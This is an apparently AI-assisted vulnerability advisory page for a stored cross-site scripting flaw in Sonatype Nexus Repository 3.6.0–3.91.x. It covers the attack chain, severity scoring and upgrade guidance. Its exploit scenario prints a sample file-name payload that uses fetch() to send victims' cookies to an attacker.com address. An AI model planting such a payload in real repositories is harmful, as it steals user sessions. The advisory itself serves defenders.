Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate with upload-capable credentials
-
DeliveryUpload file with JavaScript payload in name or metadata
-
ExploitVictim browses repository directory via web UI
-
ExecutionHTML index page renders without sanitizing payload
-
PersistJavaScript executes in victim's browser session
-
ImpactAttacker steals session token or performs unauthorized actions
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the following specific conditions: (1) the attacker must be an authenticated user with upload permissions to a hosted repository in Nexus Repository versions 3.6.0 through 3.91.x; (2) the victim must browse the repository directory using the web UI's HTML index page feature (not via API or command-line tools); (3) the victim's browser must execute JavaScript (no protection from browser security policies or user agent modifications). The vulnerability does NOT require: administrative privileges (upload-only accounts suffice), non-default configuration (the HTML index is enabled by default), or special network positioning. Exploitation is limited by the requirement that victims must actively navigate to and view the affected repository directory, and the impact is scoped to the victim's session only rather than the entire Nexus instance. |
| Impact | The CVSS v4.0 score of 5.1 with vector AV:N/AC:L/AT:N/PR:L/UI:P reflects a medium-severity vulnerability with network attack vector, low attack complexity, and low privilege requirements (authenticated user with upload permission). The critical limiting factor is the requirement for user interaction (UI:P) - victims must actively browse the repository directory. Scope is changed (S:L) with low impact to integrity (SI:L) of the session context, but no direct confidentiality or availability impact. The CVSS vector does not include an EPSS score or KEV status in the provided data, suggesting no confirmed active exploitation at the time of analysis, though this is a stored XSS vulnerability making it a high-value target for targeted attacks against repository administrators or developers. In multi-tenant SaaS repositories or open-source hosting environments where multiple users browse repositories, the real-world risk is elevated beyond the base CVSS score. The vulnerability's impact depends heavily on victim privileges: compromising an administrator account enables full repository manipulation, while compromising a developer account enables supply-chain attack vectors. Organizations where repository access is tightly restricted and users do not browse untrusted repositories face lower real-world risk than those with open-repository policies. |
| Exploit ScenarioDerived | An attacker with legitimate upload permissions to a Nexus Repository (e.g., a disgruntled developer, compromised CI/CD pipeline account, or malicious third-party contributor) uploads a file with a name containing JavaScript payload, such as '"><script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script><a href="' or embeds the payload in artifact metadata. When a repository administrator or another developer browses the repository directory via the web UI to review or manage content, the HTML index page renders the malicious script, which executes in their browser with their session privileges. The attacker can then steal session cookies, perform repository operations as the victim, or redirect the user to a phishing page. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 11, 2026
Stored cross-site scripting (XSS) in Sonatype Nexus Repository 3.6.0 through 3.91.x allows authenticated users with upload permissions to inject malicious JavaScript into repository content, which executes in the browsers of any user viewing the affected repository directory via the HTML index page. An attacker can perform unauthorized actions within a victim's session context, including potential data theft or privilege escalation depending on the victim's role. The vulnerability requires user interaction (clicking/viewing the malicious content) and prior repository upload access, limiting but not eliminating real-world risk in multi-tenant or open-source repository environments.
RemediationAI
Upgrade Sonatype Nexus Repository to version 3.92.0 or later, which includes the security patch for this XSS vulnerability. Instructions and release notes are available at https://help.sonatype.com/en/sonatype-nexus-repository-3-92-0-release-notes.html. For organizations unable to immediately upgrade, implement the following compensating controls: restrict upload permissions to trusted administrators only by reviewing and tightening repository role-based access control (RBAC) settings in the Nexus security realm; disable or restrict the HTML index browsing feature if not required for operations by configuring directory indexing settings; implement a web application firewall (WAF) rule to sanitize or block requests containing common JavaScript payload patterns in repository index responses; and educate repository users to avoid clicking on suspicious file names or content within repository listings. Note that these controls do not eliminate the vulnerability but reduce the attack surface. Consult https://support.sonatype.com/hc/en-us/articles/51592065985939 for detailed advisory information and version-specific upgrade guidance.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability stems from improper input validation and output encoding in Nexus Repository's HTML index generation for repository browsing (CWE-79: Improper Neutralization of Input During Web Page Generation). When authenticated users upload files or metadata with malicious JavaScript payloads to a hosted repository, the repository's web interface fails to sanitize these inputs before rendering them in the dynamically generated HTML index page. This allows attackers to bypass content security controls by leveraging their legitimate upload permissions. The affected CPE cpe:2.3:a:sonatype:nexus_repository:*:*:*:*:*:*:*:* indicates all Nexus Repository installations from version 3.6.0 through 3.91.x are vulnerable regardless of deployment mode (cloud, on-premises, or container).
Know when Nexus Repository gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Primary rating from Vendor (Sonatype) · only source for this CVE.
CVSS VectorVendor: Sonatype
Lifecycle Timeline
2DescriptionCVE.org
An authenticated user with upload permission to a hosted repository can store content that causes arbitrary JavaScript to execute in the browser of any user who browses that repository directory via the HTML index page in Sonatype Nexus Repository versions 3.6.0 through versions before 3.92.0. This could allow the attacker to perform actions in the context of the victim's session.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
More in Nexus Repository
View allHard-coded credentials in Sonatype Nexus Repository 3.0.0 through 3.70.5 allow unauthenticated attackers with network ac
Arbitrary OS command execution in Sonatype Nexus Repository 3 versions prior to 3.92.0 allows authenticated users holdin
Remote code execution in Sonatype Nexus Repository 3 (and legacy Nexus Repository 2) is achievable by any account holdin
Server-Side Request Forgery in Sonatype Nexus Repository 3 exposes internal network infrastructure to authenticated user
Server-side request forgery with deserialization characteristics in Sonatype Nexus Repository Manager 3.0.0 through 3.91
EUVD-2026-29179
GHSA-f5g6-q897-4w8f
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB